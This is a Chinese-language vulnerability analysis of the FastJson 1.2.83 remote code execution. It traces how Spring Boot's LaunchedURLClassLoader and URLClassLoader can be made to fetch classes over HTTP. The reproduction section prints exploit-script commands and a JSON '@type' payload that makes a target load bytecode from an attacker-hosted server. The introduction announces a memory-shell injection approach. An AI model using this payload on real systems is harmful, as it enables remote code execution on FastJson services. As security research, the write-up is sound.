56 KiB
手撕 FastJson 1.2.83 RCE 原理
QIANXIN Team 来源:https://forum.butian.net/share/5001
前言
最近 FastJson 1.2.83 无 gadget RCE 的讨论热度很高, 在 AI 时代依旧手撕一波原理机制, 除了发现一些 java 方面的 trick 外, 按照个人习惯同样将漏洞链路中一些无关紧要的部分做一些研究, 以搭建知识壁垒. 由于 fastjson 的无条件 RCE 需要利用爆破 fd,最终的 sink 点同样是类加载,并且内存马契合实战攻防场景,因此在此给出内存马注入思路。
ClassLoader 问题
AppClassLoader
对于 AppClassLoader 不难理解, 在我们从 IDEA 进行运行一个 java 类时, IDEA 会先进行编译, 随后运行指定的 class 文件, 整个过程依赖于 classpath:
java
-cp /Users/heihu577/Desktop/Code/JavaCode/fastjson-1.2.83-gadget-rce-main/fastjson-rce-springboot/target/classes:/Users/heihu577/.m2/repository/org/springframework/boot/spring-boot-starter-web/2.7.18/spring-boot-starter-web-2.7.18.jar:/Users/heihu577/.m2/repository/org/springframework/boot/spring-boot-starter/2.7.18/spring-boot-starter-2.7.18.jar:/Users/heihu577/.m2/repository/org/springframework/boot/spring-boot/2.7.18/spring-boot-2.7.18.jar:/Users/heihu577/.m2/repository/org/springframework/boot/spring-boot-autoconfigure/2.7.18/spring-boot-autoconfigure-2.7.18.jar:/Users/heihu577/.m2/repository/org/springframework/boot/spring-boot-starter-logging/2.7.18/spring-boot-starter-logging-2.7.18.jar:/Users/heihu577/.m2/repository/org/springframework/boot/spring-boot-starter-json/2.7.18/spring-boot-starter-json-2.7.18.jar:/Users/heihu577/.m2/repository/org/springframework/spring-core/5.3.31/spring-core-5.3.31.jar:/Users/heihu577/.m2/repository/org/springframework/spring-jcl/5.3.31/spring-jcl-5.3.31.jar:/Users/heihu577/.m2/repository/org/springframework/spring-context/5.3.31/spring-context-5.3.31.jar:/Users/heihu577/.m2/repository/org/springframework/spring-aop/5.3.31/spring-aop-5.3.31.jar:/Users/heihu577/.m2/repository/org/springframework/spring-beans/5.3.31/spring-beans-5.3.31.jar:/Users/heihu577/.m2/repository/org/springframework/spring-expression/5.3.31/spring-expression-5.3.31.jar:/Users/heihu577/.m2/repository/org/springframework/spring-web/5.3.31/spring-web-5.3.31.jar:/Users/heihu577/.m2/repository/org/springframework/spring-webmvc/5.3.31/spring-webmvc-5.3.31.jar:/Users/heihu577/.m2/repository/com/alibaba/fastjson/1.2.83/fastjson-1.2.83.jar:/Users/heihu577/.m2/repository/org/springframework/boot/spring-boot-starter-tomcat/2.7.18/spring-boot-starter-tomcat-2.7.18.jar:/Users/heihu577/.m2/repository/org/apache/tomcat/embed/tomcat-embed-core/9.0.83/tomcat-embed-core-9.0.83.jar:/Users/heihu577/.m2/repository/org/apache/tomcat/embed/tomcat-embed-el/9.0.83/tomcat-embed-el-9.0.83.jar:/Users/heihu577/.m2/repository/org/apache/tomcat/embed/tomcat-embed-websocket/9.0.83/tomcat-embed-websocket-9.0.83.jar:/Users/heihu577/.m2/repository/ch/qos/logback/logback-classic/1.2.12/logback-classic-1.2.12.jar:/Users/heihu577/.m2/repository/ch/qos/logback/logback-core/1.2.12/logback-core-1.2.12.jar:/Users/heihu577/.m2/repository/org/slf4j/slf4j-api/1.7.36/slf4j-api-1.7.36.jar:/Users/heihu577/.m2/repository/org/apache/logging/log4j/log4j-to-slf4j/2.17.2/log4j-to-slf4j-2.17.2.jar:/Users/heihu577/.m2/repository/org/apache/logging/log4j/log4j-api/2.17.2/log4j-api-2.17.2.jar:/Users/heihu577/.m2/repository/org/slf4j/jul-to-slf4j/1.7.36/jul-to-slf4j-1.7.36.jar:/Users/heihu577/.m2/repository/jakarta/annotation/jakarta.annotation-api/1.3.5/jakarta.annotation-api-1.3.5.jar:/Users/heihu577/.m2/repository/org/yaml/snakeyaml/1.30/snakeyaml-1.30.jar:/Users/heihu577/.m2/repository/com/fasterxml/jackson/core/jackson-databind/2.13.5/jackson-databind-2.13.5.jar:/Users/heihu577/.m2/repository/com/fasterxml/jackson/core/jackson-annotations/2.13.5/jackson-annotations-2.13.5.jar:/Users/heihu577/.m2/repository/com/fasterxml/jackson/core/jackson-core/2.13.5/jackson-core-2.13.5.jar:/Users/heihu577/.m2/repository/com/fasterxml/jackson/datatype/jackson-datatype-jdk8/2.13.5/jackson-datatype-jdk8-2.13.5.jar:/Users/heihu577/.m2/repository/com/fasterxml/jackson/datatype/jackson-datatype-jsr310/2.13.5/jackson-datatype-jsr310-2.13.5.jar:/Users/heihu577/.m2/repository/com/fasterxml/jackson/module/jackson-module-parameter-names/2.13.5/jackson-module-parameter-names-2.13.5.jar
com.vuln.fastjson.Application
上方代码分为两个部分: -cp & 类名, 很标准的 java 应用程序启动 main 方法案例, 而 SpringBoot 依赖的一些比如 jackson 类库也能够通过-cp(-classpath)进行引入, 因此这里使用正常的 AppClassLoader 并不会遇到类无法找到问题, 对于 SpringBoot 开发者来说自然而然也没有必要定义其他的 ClassLoader(因为默认就能跑).
LaunchedURLClassLoader
FatJar 说明
当我们使用:
mvn -f pom.xml package -DskipTests
进行生成 jar 包之后, 使用 FatJar 的方式运行:
这里的 ClassLoader 变为了 LaunchedURLClassLoader, 对于该 ClassLoader 的说明: https://juejin.cn/post/7320541744353083433
由于 SpringBoot 的 FatJar 把项目所有第三方依赖都打包到 BOOT-INF/lib/ 下作为嵌套 jar,而 Java 原生的 URLClassLoader 无法加载「jar 里的 jar」这种嵌套结构,所以 SpringBoot 自定义了 ClassLoader(3.2 之前是 LaunchedURLClassLoader,3.2+ 是 LaunchedClassLoader)来直接从嵌套 jar 的 zip 字节流中读取 class,让业务代码能正常使用这些依赖。
比如我们当前这个项目可以通过 unzip -l 进行查看:
heihu577 @ ~/Desktop/Code/JavaCode/fastjson-1.2.83-gadget-rce-main/fastjson-rce-springboot/target ❯ unzip -l fastjson-rce-env-1.0.0_副本.jar
Archive: fastjson-rce-env-1.0.0_副本.jar
Length Date Time Name
--------- ---------- ----- ----
0 07-22-2026 17:50 META-INF/
455 07-22-2026 17:50 META-INF/MANIFEST.MF
0 02-01-1980 00:00 org/
0 02-01-1980 00:00 org/springframework/
0 02-01-1980 00:00 org/springframework/boot/
0 02-01-1980 00:00 org/springframework/boot/loader/
5871 02-01-1980 00:00 org/springframework/boot/loader/ClassPathIndexFile.class
7675 02-01-1980 00:00 org/springframework/boot/loader/ExecutableArchiveLauncher.class
2551 02-01-1980 00:00 org/springframework/boot/loader/JarLauncher.class
1483 02-01-1980 00:00 org/springframework/boot/loader/LaunchedURLClassLoader$DefinePackageCallType.class
1535 02-01-1980 00:00 org/springframework/boot/loader/LaunchedURLClassLoader$UseFastConnectionExceptionsEnumeration.class
11154 02-01-1980 00:00 org/springframework/boot/loader/LaunchedURLClassLoader.class
5932 02-01-1980 00:00 org/springframework/boot/loader/Launcher.class
1536 02-01-1980 00:00 org/springframework/boot/loader/MainMethodRunner.class
266 02-01-1980 00:00 org/springframework/boot/loader/PropertiesLauncher$1.class
1484 02-01-1980 00:00 org/springframework/boot/loader/PropertiesLauncher$ArchiveEntryFilter.class
8128 02-01-1980 00:00 org/springframework/boot/loader/PropertiesLauncher$ClassPathArchives.class
1953 02-01-1980 00:00 org/springframework/boot/loader/PropertiesLauncher$PrefixMatchingArchiveFilter.class
18267 02-01-1980 00:00 org/springframework/boot/loader/PropertiesLauncher.class
1728 02-01-1980 00:00 org/springframework/boot/loader/WarLauncher.class
0 02-01-1980 00:00 org/springframework/boot/loader/archive/
302 02-01-1980 00:00 org/springframework/boot/loader/archive/Archive$Entry.class
511 02-01-1980 00:00 org/springframework/boot/loader/archive/Archive$EntryFilter.class
4745 02-01-1980 00:00 org/springframework/boot/loader/archive/Archive.class
6093 02-01-1980 00:00 org/springframework/boot/loader/archive/ExplodedArchive$AbstractIterator.class
2180 02-01-1980 00:00 org/springframework/boot/loader/archive/ExplodedArchive$ArchiveIterator.class
1857 02-01-1980 00:00 org/springframework/boot/loader/archive/ExplodedArchive$EntryIterator.class
1269 02-01-1980 00:00 org/springframework/boot/loader/archive/ExplodedArchive$FileEntry.class
2527 02-01-1980 00:00 org/springframework/boot/loader/archive/ExplodedArchive$SimpleJarFileArchive.class
5346 02-01-1980 00:00 org/springframework/boot/loader/archive/ExplodedArchive.class
2884 02-01-1980 00:00 org/springframework/boot/loader/archive/JarFileArchive$AbstractIterator.class
1981 02-01-1980 00:00 org/springframework/boot/loader/archive/JarFileArchive$EntryIterator.class
1081 02-01-1980 00:00 org/springframework/boot/loader/archive/JarFileArchive$JarFileEntry.class
2528 02-01-1980 00:00 org/springframework/boot/loader/archive/JarFileArchive$NestedArchiveIterator.class
10349 02-01-1980 00:00 org/springframework/boot/loader/archive/JarFileArchive.class
0 02-01-1980 00:00 org/springframework/boot/loader/data/
485 02-01-1980 00:00 org/springframework/boot/loader/data/RandomAccessData.class
282 02-01-1980 00:00 org/springframework/boot/loader/data/RandomAccessDataFile$1.class
2772 02-01-1980 00:00 org/springframework/boot/loader/data/RandomAccessDataFile$DataInputStream.class
3259 02-01-1980 00:00 org/springframework/boot/loader/data/RandomAccessDataFile$FileAccess.class
4015 02-01-1980 00:00 org/springframework/boot/loader/data/RandomAccessDataFile.class
0 02-01-1980 00:00 org/springframework/boot/loader/jar/
1438 02-01-1980 00:00 org/springframework/boot/loader/jar/AbstractJarFile$JarFileType.class
878 02-01-1980 00:00 org/springframework/boot/loader/jar/AbstractJarFile.class
4976 02-01-1980 00:00 org/springframework/boot/loader/jar/AsciiBytes.class
616 02-01-1980 00:00 org/springframework/boot/loader/jar/Bytes.class
295 02-01-1980 00:00 org/springframework/boot/loader/jar/CentralDirectoryEndRecord$1.class
3319 02-01-1980 00:00 org/springframework/boot/loader/jar/CentralDirectoryEndRecord$Zip64End.class
2029 02-01-1980 00:00 org/springframework/boot/loader/jar/CentralDirectoryEndRecord$Zip64Locator.class
5029 02-01-1980 00:00 org/springframework/boot/loader/jar/CentralDirectoryEndRecord.class
6897 02-01-1980 00:00 org/springframework/boot/loader/jar/CentralDirectoryFileHeader.class
4624 02-01-1980 00:00 org/springframework/boot/loader/jar/CentralDirectoryParser.class
540 02-01-1980 00:00 org/springframework/boot/loader/jar/CentralDirectoryVisitor.class
345 02-01-1980 00:00 org/springframework/boot/loader/jar/FileHeader.class
13641 02-01-1980 00:00 org/springframework/boot/loader/jar/Handler.class
3885 02-01-1980 00:00 org/springframework/boot/loader/jar/JarEntry.class
1458 02-01-1980 00:00 org/springframework/boot/loader/jar/JarEntryCertification.class
299 02-01-1980 00:00 org/springframework/boot/loader/jar/JarEntryFilter.class
2299 02-01-1980 00:00 org/springframework/boot/loader/jar/JarFile$1.class
1299 02-01-1980 00:00 org/springframework/boot/loader/jar/JarFile$JarEntryEnumeration.class
16660 02-01-1980 00:00 org/springframework/boot/loader/jar/JarFile.class
1368 02-01-1980 00:00 org/springframework/boot/loader/jar/JarFileEntries$1.class
2258 02-01-1980 00:00 org/springframework/boot/loader/jar/JarFileEntries$EntryIterator.class
1281 02-01-1980 00:00 org/springframework/boot/loader/jar/JarFileEntries$Offsets.class
1338 02-01-1980 00:00 org/springframework/boot/loader/jar/JarFileEntries$Zip64Offsets.class
1334 02-01-1980 00:00 org/springframework/boot/loader/jar/JarFileEntries$ZipOffsets.class
17280 02-01-1980 00:00 org/springframework/boot/loader/jar/JarFileEntries.class
3512 02-01-1980 00:00 org/springframework/boot/loader/jar/JarFileWrapper.class
702 02-01-1980 00:00 org/springframework/boot/loader/jar/JarURLConnection$1.class
4302 02-01-1980 00:00 org/springframework/boot/loader/jar/JarURLConnection$JarEntryName.class
9399 02-01-1980 00:00 org/springframework/boot/loader/jar/JarURLConnection.class
3559 02-01-1980 00:00 org/springframework/boot/loader/jar/StringSequence.class
1813 02-01-1980 00:00 org/springframework/boot/loader/jar/ZipInflaterInputStream.class
0 02-01-1980 00:00 org/springframework/boot/loader/jarmode/
293 02-01-1980 00:00 org/springframework/boot/loader/jarmode/JarMode.class
2201 02-01-1980 00:00 org/springframework/boot/loader/jarmode/JarModeLauncher.class
1292 02-01-1980 00:00 org/springframework/boot/loader/jarmode/TestJarMode.class
0 02-01-1980 00:00 org/springframework/boot/loader/util/
5174 02-01-1980 00:00 org/springframework/boot/loader/util/SystemPropertyUtils.class
0 07-22-2026 17:50 BOOT-INF/
0 07-22-2026 17:50 BOOT-INF/classes/
0 07-22-2026 17:46 BOOT-INF/classes/com/
0 07-22-2026 17:46 BOOT-INF/classes/com/vuln/
0 07-22-2026 17:46 BOOT-INF/classes/com/vuln/fastjson/
0 07-22-2026 17:50 META-INF/maven/
0 07-22-2026 17:50 META-INF/maven/com.vuln/
0 07-22-2026 17:50 META-INF/maven/com.vuln/fastjson-rce-env/
4244 07-22-2026 17:50 BOOT-INF/classes/com/vuln/fastjson/ParseController.class
723 07-22-2026 17:50 BOOT-INF/classes/com/vuln/fastjson/Application.class
41 07-22-2026 17:46 BOOT-INF/classes/application.properties
1537 07-22-2026 17:48 META-INF/maven/com.vuln/fastjson-rce-env/pom.xml
59 07-22-2026 17:50 META-INF/maven/com.vuln/fastjson-rce-env/pom.properties
0 07-22-2026 17:50 BOOT-INF/lib/
128154 11-23-2023 07:16 BOOT-INF/lib/spring-boot-loader-2.7.18.jar
1466652 11-23-2023 07:16 BOOT-INF/lib/spring-boot-2.7.18.jar
1691093 11-23-2023 07:16 BOOT-INF/lib/spring-boot-autoconfigure-2.7.18.jar
231811 03-23-2023 21:02 BOOT-INF/lib/logback-classic-1.2.12.jar
448860 03-23-2023 21:02 BOOT-INF/lib/logback-core-1.2.12.jar
41125 02-08-2022 13:31 BOOT-INF/lib/slf4j-api-1.7.36.jar
18010 02-23-2022 13:30 BOOT-INF/lib/log4j-to-slf4j-2.17.2.jar
302511 02-23-2022 13:28 BOOT-INF/lib/log4j-api-2.17.2.jar
4519 02-08-2022 13:31 BOOT-INF/lib/jul-to-slf4j-1.7.36.jar
25058 08-02-2019 11:08 BOOT-INF/lib/jakarta.annotation-api-1.3.5.jar
1489305 02-01-1980 00:00 BOOT-INF/lib/spring-core-5.3.31.jar
25161 11-16-2023 08:01 BOOT-INF/lib/spring-jcl-5.3.31.jar
331605 12-14-2021 18:31 BOOT-INF/lib/snakeyaml-1.30.jar
1537543 01-23-2023 00:47 BOOT-INF/lib/jackson-databind-2.13.5.jar
75718 01-23-2023 00:03 BOOT-INF/lib/jackson-annotations-2.13.5.jar
375186 01-23-2023 00:23 BOOT-INF/lib/jackson-core-2.13.5.jar
34800 01-23-2023 01:26 BOOT-INF/lib/jackson-datatype-jdk8-2.13.5.jar
121206 01-23-2023 01:26 BOOT-INF/lib/jackson-datatype-jsr310-2.13.5.jar
9513 01-23-2023 01:26 BOOT-INF/lib/jackson-module-parameter-names-2.13.5.jar
3546550 11-09-2023 20:57 BOOT-INF/lib/tomcat-embed-core-9.0.83.jar
258314 11-09-2023 20:57 BOOT-INF/lib/tomcat-embed-el-9.0.83.jar
283325 11-09-2023 20:57 BOOT-INF/lib/tomcat-embed-websocket-9.0.83.jar
1642676 11-16-2023 08:02 BOOT-INF/lib/spring-web-5.3.31.jar
706400 11-16-2023 08:02 BOOT-INF/lib/spring-beans-5.3.31.jar
1029974 11-16-2023 08:03 BOOT-INF/lib/spring-webmvc-5.3.31.jar
384535 11-16-2023 08:02 BOOT-INF/lib/spring-aop-5.3.31.jar
1275645 11-16-2023 08:02 BOOT-INF/lib/spring-context-5.3.31.jar
293174 11-16-2023 08:02 BOOT-INF/lib/spring-expression-5.3.31.jar
671701 05-23-2022 00:59 BOOT-INF/lib/fastjson-1.2.83.jar
29514 02-01-1980 00:00 BOOT-INF/lib/spring-boot-jarmode-layertools-2.7.18.jar
1333 07-22-2026 17:50 BOOT-INF/classpath.idx
212 07-22-2026 17:50 BOOT-INF/layers.idx
通过上方案例我们可以看到我们实际的业务代码量其实很少, 大部分引入的也都是一些其他第三方依赖, 通过归类的话可以归类为如下结果:
META-INF/ (SpringBoot FatJar 元数据目录)
├── META-INF/MANIFEST.MF (Jar 清单文件,指定 Main-Class 为 JarLauncher)
org/ (SpringBoot Loader 启动引导层)
└── org/springframework/boot/loader/
├── ClassPathIndexFile.class (SpringBoot 启动需要)
├── ExecutableArchiveLauncher.class (SpringBoot 启动需要)
├── JarLauncher.class (SpringBoot 启动需要,主入口)
├── LaunchedURLClassLoader.class (SpringBoot 启动需要,自定义 ClassLoader 核心)
├── Launcher.class (SpringBoot 启动需要,启动器抽象类)
├── MainMethodRunner.class (SpringBoot 启动需要,执行主方法)
├── PropertiesLauncher.class (SpringBoot 启动需要)
├── WarLauncher.class (SpringBoot 启动需要)
├── archive/ (Archive 抽象,支持 Jar/Exploded 读取)
│ ├── Archive.class
│ ├── ExplodedArchive.class
│ └── JarFileArchive.class
├── data/ (随机访问文件数据层)
│ └── RandomAccessDataFile.class
├── jar/ (JarFile 解析器,支持嵌套 Jar 读取)
│ ├── Handler.class (URLStreamHandler,处理 jar: 协议)
│ ├── JarFile.class
│ ├── JarEntry.class
│ ├── JarURLConnection.class
│ └── ...
├── jarmode/ (Jar 运行模式,如 layertools)
│ ├── JarMode.class
│ └── JarModeLauncher.class
└── util/ (工具类)
└── SystemPropertyUtils.class
BOOT-INF/ (业务代码和依赖存放目录)
├── BOOT-INF/classes/ (业务代码编译后的 class 文件)
│ ├── com/vuln/fastjson/
│ │ ├── Application.class (开发者自定义,@SpringBootApplication 启动类)
│ │ └── ParseController.class (开发者自定义,@RestController 控制器)
│ └── application.properties (开发者自定义,SpringBoot 配置文件)
├── BOOT-INF/lib/ (所有第三方依赖 Jar,共 30 个)
│ ├── spring-boot-2.7.18.jar (SpringBoot 核心)
│ ├── spring-boot-autoconfigure-2.7.18.jar (SpringBoot 自动配置)
│ ├── spring-core-5.3.31.jar (Spring 框架核心)
│ ├── spring-context-5.3.31.jar (Spring IoC 容器)
│ ├── spring-beans-5.3.31.jar (Spring Bean 工厂)
│ ├── spring-aop-5.3.31.jar (Spring AOP 支持)
│ ├── spring-web-5.3.31.jar (Spring Web 支持)
│ ├── spring-webmvc-5.3.31.jar (Spring MVC)
│ ├── tomcat-embed-core-9.0.83.jar (嵌入式 Tomcat 容器)
│ ├── tomcat-embed-el-9.0.83.jar (Tomcat EL 表达式)
│ ├── tomcat-embed-websocket-9.0.83.jar (Tomcat WebSocket)
│ ├── jackson-databind-2.13.5.jar (Jackson JSON 序列化)
│ ├── logback-classic-1.2.12.jar (Logback 日志实现)
│ ├── fastjson-1.2.83.jar (显式引入的 Fastjson 依赖)
│ └── ... (其他 SpringBoot 传递依赖)
├── BOOT-INF/classpath.idx (Classpath 索引文件)
└── BOOT-INF/layers.idx (Docker 分层索引文件)
META-INF/maven/ (Maven 构建元数据)
└── META-INF/maven/com.vuln/fastjson-rce-env/
├── pom.xml (项目 POM 文件)
└── pom.properties (Maven 属性)
另外如果你学习过 jar 的知识的话:
动态调试 JarLauncher
调试思路
由于 SpringBoot 在 FatJar 中才会应用到JarLauncher, 因此我们只能通过远程调试来观察到这一过程, 另外我们需要引入 Maven 依赖:
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-loader</artifactId>
</dependency>
并且启动已经编译好的 FatJar 时使用远程参数:
java -agentlib:jdwp=transport=dt_socket,server=y,suspend=y,address=5005 -jar fastjson-rce-env-1.0.0.jar
断点打到JarLauncher::main方法中:
筛选 BOOT-INF 目录生成 Iterator
这里会实例化自己本身, 随后调用到launch方法中, 跟进:
这里我们可以看到, 最终会返回一个 Iterator 迭代器, 该迭代器根据 FatJar 中的BOOT-INF下的目录信息值能够通过依次调用 next 方法进行依次取出. 该 Iterator 保存: classes/ 目录 + lib/*.jar 文件.
创建 LaunchedURLClassLoader
从这里我们已经能够看到LaunchedURLClassLoader的身影了, 创建过程:
这里创建完毕LaunchedURLClassLoader之后, 会来获取MANIFEST.MF 文件中的 Start-Class, 随后调用launch方法进入启动类逻辑:
原因是以 @SpringBootApplication 注解修饰的类, 在打包时会设置 MANIFEST.MF 文件的 Start-Class 键的值.
LaunchedURLClassLoader 含义
首先我们对 FatJar 进行资源查找:
package com.vuln.fastjson;
import java.io.InputStream;
import java.net.URL;
import java.net.URLClassLoader;
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class Test {
public static void main(String[] args) throws Exception {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{
new URL("jar:file:/Users/heihu577/Desktop/Code/JavaCode/fastjson-1.2.83-gadget-rce-main/fastjson-rce-springboot/target/fastjson-rce-env-1.0.0.jar!/BOOT-INF/lib/fastjson-1.2.83.jar!/")
});
InputStream resourceAsStream = urlClassLoader.getResourceAsStream("META-INF/MANIFEST.MF");
if (resourceAsStream != null) {
System.out.println("✅ 找到 MANIFEST.MF");
BufferedReader reader = new BufferedReader(new InputStreamReader(resourceAsStream));
String line;
while ((line = reader.readLine()) != null) {
System.out.println(line);
}
reader.close();
} else {
System.out.println("❌ 未找到 MANIFEST.MF");
}
try {
Class<?> clazz = urlClassLoader.loadClass("com.alibaba.fastjson.JSON");
System.out.println("✅ 成功加载类: " + clazz.getName());
System.out.println(" ClassLoader: " + clazz.getClassLoader());
} catch (ClassNotFoundException e) {
System.out.println("❌ 未找到类: com.alibaba.fastjson.JSON");
e.printStackTrace();
}
}
}
上述案例结果:
✅ 找到 MANIFEST.MF
Manifest-Version: 1.0
Created-By: 1.7.0_07 (Oracle Corporation)
❌ 未找到类: com.alibaba.fastjson.JSON
java.lang.ClassNotFoundException: com.alibaba.fastjson.JSON
at java.net.URLClassLoader.findClass(URLClassLoader.java:382)
at java.lang.ClassLoader.loadClass(ClassLoader.java:424)
at java.lang.ClassLoader.loadClass(ClassLoader.java:357)
at com.vuln.fastjson.Test.main(Test.java:42)
上述 MANIFEST.MF 能够找到是因为找到了 ClassLoader 中其他类的 MANIFEST.MF, 例如: jar:file:/Users/heihu577/Library/Caches/JetBrains/IntelliJIdea2025.3/captureAgent/debugger-agent.jar!/META-INF/MANIFEST.MF
可以看到, 资源可以通过 jar 协议中的双!/的姿势找到资源(这里能够找到实际上是因为getResourceAsStream同样遵循双亲委派机制), 但类却无法找到, 若想要成功找到类, 则需要使用JarFile.registerUrlProtocolHandler();进行注册, 完整案例:
package com.vuln.fastjson;
import org.springframework.boot.loader.jar.JarFile;
import java.io.InputStream;
import java.net.URL;
import java.net.URLClassLoader;
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class Test {
public static void main(String[] args) throws Exception {
JarFile.registerUrlProtocolHandler();
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{
new URL("jar:file:/Users/heihu577/Desktop/Code/JavaCode/fastjson-1.2.83-gadget-rce-main/fastjson-rce-springboot/target/fastjson-rce-env-1.0.0.jar!/BOOT-INF/lib/fastjson-1.2.83.jar!/")
});
InputStream resourceAsStream = urlClassLoader.getResourceAsStream("META-INF/MANIFEST.MF");
if (resourceAsStream != null) {
System.out.println("✅ 找到 MANIFEST.MF");
BufferedReader reader = new BufferedReader(new InputStreamReader(resourceAsStream));
String line;
while ((line = reader.readLine()) != null) {
System.out.println(line);
}
reader.close();
} else {
System.out.println("❌ 未找到 MANIFEST.MF");
}
try {
Class<?> clazz = urlClassLoader.loadClass("com.alibaba.fastjson.JSON");
System.out.println("✅ 成功加载类: " + clazz.getName());
System.out.println(" ClassLoader: " + clazz.getClassLoader());
} catch (ClassNotFoundException e) {
System.out.println("❌ 未找到类: com.alibaba.fastjson.JSON");
e.printStackTrace();
}
}
}
该方法在筛选 BOOT-INF 目录生成 Iterator中截图有说明了, 在这里我们看一下效果.
漏洞复现 & 分析(http 协议 & JDK8)
复现过程
这里很简单, 直接使用 GitHub 上封装好的脚本即可. 先使用scripts/build.sh 127.0.0.1 19090 id-oob jdk8-http进行生成生成字节码文件, 随后使用python3 exploit.py 127.0.0.1 19090 http://localhost:18080/ /parse --mode jdk8-http来进行攻击目标 fastjson 站点, 如图:
这里手动的 Payload 可以为:
{"@type": "http:..2130706433:2333.d"}
需要准备http:..2130706433:2333.d这种类的字节码挂在攻击机上.
漏洞分析
漏洞形成原理很简单, 锁定在ParserConfig::checkAutoType方法中:
图中标明的
调用 loadClass 加载类到内存标错了, 应该说明为:调用 loadClass 查找类资源.
这里无论是否开启了autoType, 由于判断分支中存在@JSONType注解, 导致能够成功进入到分支中. 这里着重说一下LaunchedURLClassLoader, 该类在 loadClass 时若会发送 HTTP 请求:
具体原因看下方分析.
漏洞本质 & URLClassLoader trick【loadClass & getResourceAsStream】
很简单, 下方代码能够发送 HTTP 请求:
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{
new URL("jar:http://127.0.0.1:2333/a.jar!/"),
},Test.class.getClassLoader());
urlClassLoader.loadClass("com.heihu577.hahaha");
当然, 在查找资源时同样能够发送请求, 仅限于明确了 URL 的情况(URLClassLoader 有传值):
package com.vuln.fastjson;
import java.io.InputStream;
import java.net.URL;
import java.net.URLClassLoader;
public class Test {
public static void main(String[] args) throws Exception {
ClassLoader classLoader = Test.class.getClassLoader();
classLoader = new URLClassLoader(new URL[]{
new URL("jar:http://127.0.0.1:2333/a.jar!/"),
},classLoader);
InputStream resourceAsStream = classLoader.getResourceAsStream("asdf");
}
}
上述两个案例从正常开发角度不难理解, 本质就是要通过jar:http://远程中拉取资源的. 但单纯 AppClassLoader 却不会发送请求, 直接返回 NULL:
这也不难理解, 因为 AppClassLoader 中的 classpath 本身就是本地资源. 那既然 URLClassLoader 能远程获取资源, 那么我们看一下下方这个案例:
package com.vuln.fastjson;
import org.springframework.boot.loader.LaunchedURLClassLoader;
import java.io.InputStream;
import java.net.URL;
import java.net.URLClassLoader;
public class Test {
public static void main(String[] args) throws Exception {
ClassLoader classLoader = Test.class.getClassLoader();
classLoader = new LaunchedURLClassLoader(new URL[]{},classLoader);
InputStream resourceAsStream = classLoader.getResourceAsStream("jar:http://127.0.0.1:2333/a.jar!/123");
System.out.println(resourceAsStream);
}
}
该案例并不会发送任何 HTTP 请求, 那怎么样才能发送 HTTP 请求呢?存在如下 DEMO:
package com.vuln.fastjson;
import java.io.InputStream;
import java.net.URL;
import java.net.URLClassLoader;
public class Test {
public static void main(String[] args) throws Exception {
ClassLoader classLoader = Test.class.getClassLoader();
classLoader = new URLClassLoader(new URL[]{new URL("http://www.baidu.com/")},classLoader);
InputStream resourceAsStream = classLoader.getResourceAsStream("jar:http://127.0.0.1:2333/a.jar!/123");
System.out.println(resourceAsStream);
}
}
只需要将 URLClassLoader 中初始化一个http协议的任意服务器, 那么在getResourceAsStream时就能发送远程资源, 为什么会这样?原因在 URLClassLoader 的拼接:
除了getResourceAsStream方法能够发送 HTTP 请求, 更重要的是 loadClass 同样会发送请求:
package com.vuln.fastjson;
import java.net.URL;
import java.net.URLClassLoader;
public class Test {
public static void main(String[] args) throws Exception {
ClassLoader classLoader = Test.class.getClassLoader();
classLoader = new URLClassLoader(new URL[]{new URL("http://www.baidu.com/")},classLoader);
classLoader.loadClass("http:..2130706433:2333.a");
}
}
而通常 loadClass 方法的功能则就是加载字节码返回 class 原型, 更何况当前处于 URLClassLoader 是从远程服务器获取资源的, 这里能够向任意服务器发送远程 HTTP 请求已经很不安全...
但 Class.forName 不允许(这里聊到后续的 TomcatEmbeddedWebappClassLoader 会说明原因):
package com.vuln.fastjson;
import java.net.URL;
import java.net.URLClassLoader;
public class Test {
public static void main(String[] args) throws Exception {
ClassLoader classLoader = Test.class.getClassLoader();
classLoader = new URLClassLoader(new URL[]{new URL("http://www.baidu.com/")},classLoader);
Class.forName("http:..2130706433:2333.a", false, classLoader);
}
}
getResourceAsStream 发送远程请求原因
对于 getResourceAsStream 方法为什么能够发送除 URLClassLoader 已包含资源之外的 http 远程资源, 最根本的原因是 URL 的构造器存在解析问题:
package com.vuln.fastjson;
import sun.net.www.ParseUtil;
import java.net.URL;
public class Test {
public static void main(String[] args) throws Exception {
URL url1 = new URL(new URL("http://www.baidu.com/"), ParseUtil.encodePath("jar:http://127.0.0.1:2333/a.jar!/123", false));
URL url2 = new URL(new URL("http://www.baidu.com"), ("jar:http://127.0.0.1:2333/a.jar!/123"));
System.out.println(url1);
System.out.println(url2);
}
}
当我们使用getResourceAsStream("jar:http://127.0.0.1:2333/a.jar!/123")方法时, 底层的代码走向则是上述 URL 案例. 也就是下方这个逻辑:
loadClass 发送远程请求原因
当调用URLClassLoader::loadClass方法时, 当从父类找不到对应的类自然而然会调用 findClass:
但 URLClassLoader::findClass 完全重写了类加载逻辑:
这里将类名中的. 转换为 /实际上也不难理解, 因为 URLClassLoader 若想要向远程 HTTP 服务器拉取字节码资源, 必然需要将com.heihu577.test转换为com/heihu577/test.class格式进行拉取, 但是这里问题就出在后续的URLClassPath::getResource在特定情况下是允许向任意服务器发送 HTTP 请求的.
URLClassLoader 通过重写了findClass完全自定义类加载逻辑, 通过URLClassPath::getResource发送远程 HTTP 请求:
得到类资源之后再进行 defineClass 即远程加载字节码. 这里URLClassPath::getResource方法为什么能够远程获取资源, 实际上是 URLClassLoader 中的 Loader 问题. 这一部分知识点我们马上就要了解到.
Loader & JarLoader & 选择 Loader 问题
普通的 URLClassLoader 使用的加载器是原生的 Loader, 但 AppClassLoader 中使用的是 JarLoader:
只有Loader才允许发送 HTTP 请求:
private static class Loader implements Closeable {
private final URL base;
private JarFile jarfile;
URL findResource(String var1, boolean var2) {
URL var3;
try {
var3 = new URL(this.base, ParseUtil.encodePath(var1, false));
} catch (MalformedURLException var7) {
throw new IllegalArgumentException("name");
}
URLConnection var4 = var3.openConnection();
...
}
}
而JarLoader仅仅是打开Jar文件去寻找文件:
static class JarLoader extends Loader {
URL findResource(String var1, boolean var2) {
Resource var3 = this.getResource(var1, var2);
return var3 != null ? var3.getURL() : null;
}
